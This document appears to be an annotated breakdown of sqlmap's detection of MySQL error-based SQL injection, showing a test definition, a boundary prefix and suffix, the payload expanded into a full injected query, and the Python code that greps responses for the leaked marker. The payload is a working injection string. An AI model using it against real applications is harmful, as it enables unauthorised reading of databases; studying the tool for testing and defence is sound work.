1 <test>
 2     <title>MySQL &gt;= 5.0 AND error-based - WHERE or HAVING clause</title>
 3     <stype>2</stype>
 4     <level>1</level>
 5     <risk>0</risk>
 6     <clause>1</clause>
 7     <where>1</where>
 8     <vector>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,([QUERY]),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</vector>
 9     <request>
10         <payload>AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)</payload>
11     </request>
12     <response>
13         <grep>[DELIMITER_START](?P&lt;result&gt;.*?)[DELIMITER_STOP]</grep>
14     </response>
15     <details>
16         <dbms>MySQL</dbms>
17         <dbms_version>&gt;= 5.0</dbms_version>
18     </details>
19 </test>

1 <boundary>
2     <level>1</level>
3     <clause>1</clause>
4     <where>1,2</where>
5     <ptype>2</ptype>
6     <prefix>‘</prefix>
7     <suffix>AND ‘[RANDSTR]‘=‘[RANDSTR]</suffix>
8 </boundary>

AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT(‘[DELIMITER_START]‘,(SELECT (CASE WHEN ([RANDNUM]=[RANDNUM]) THEN 1 ELSE 0 END)),‘[DELIMITER_STOP]‘,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)

SELECT
    *
FROM
    users
WHERE
    id = ‘1‘
AND (
    SELECT
        1497
    FROM
        (
            SELECT
                COUNT(*),
                CONCAT(
                    CHAR (58, 101, 121, 111, 58),
                    (
                        SELECT
                            (
                                CASE
                                WHEN (1497 = 1497) THEN
                                    1
                                ELSE
                                    0
                                END
                            )
                    ),
                    CHAR (58, 97, 98, 104, 58),
                    FLOOR(RAND(0) * 2)
                ) x
            FROM
                information_schema. TABLES
            GROUP BY
                x
        ) a
)
AND ‘pujM‘ = ‘pujM‘

 1 # In case of error-based SQL injection
 2 elif method == PAYLOAD.METHOD.GREP:
 3     # Perform the test‘s request and grep the response
 4     # body for the test‘s <grep> regular expression
 5     try:
 6         page, headers = Request.queryPage(reqPayload, place, content=True, raise404=False)
 7         output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)  8                 or extractRegexResult(check, listToStrValue(headers.headers  9                 if headers else None), re.DOTALL | re.IGNORECASE) 10                 or extractRegexResult(check, threadData.lastRedirectMsg[1] 11                 if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == 12                 threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
13 
14         if output:
15             result = output == "1"
16             if result:
17                 infoMsg = "%s parameter ‘%s‘ is ‘%s‘ injectable " % (place, parameter, title)
18                 logger.info(infoMsg)
19 
20                 injectable = True
21 
22     except sqlmapConnectionException, msg:
23         debugMsg  = "problem occured most likely because the "
24         debugMsg += "server hasn‘t recovered as expected from the "
25         debugMsg += "error-based payload used (‘%s‘)" % msg
26         logger.debug(debugMsg)

 1 def extractRegexResult(regex, content, flags=0):
 2     """
 3     Returns ‘result‘ group value from a possible match with regex on a given 
 4     content
 5     """
 6 
 7     retVal = None
 8 
 9     if regex and content and ‘?P<result>‘ in regex:
10         match = getCompiledRegex(regex, flags).search(content)
11 
12         if match:
13             retVal = match.group("result")
14 
15     return retVal

if output:
    result = output == "1"
    if result:
        infoMsg = "%s parameter ‘%s‘ is ‘%s‘ injectable " % (place, parameter, title)
        logger.info(infoMsg)

        injectable = True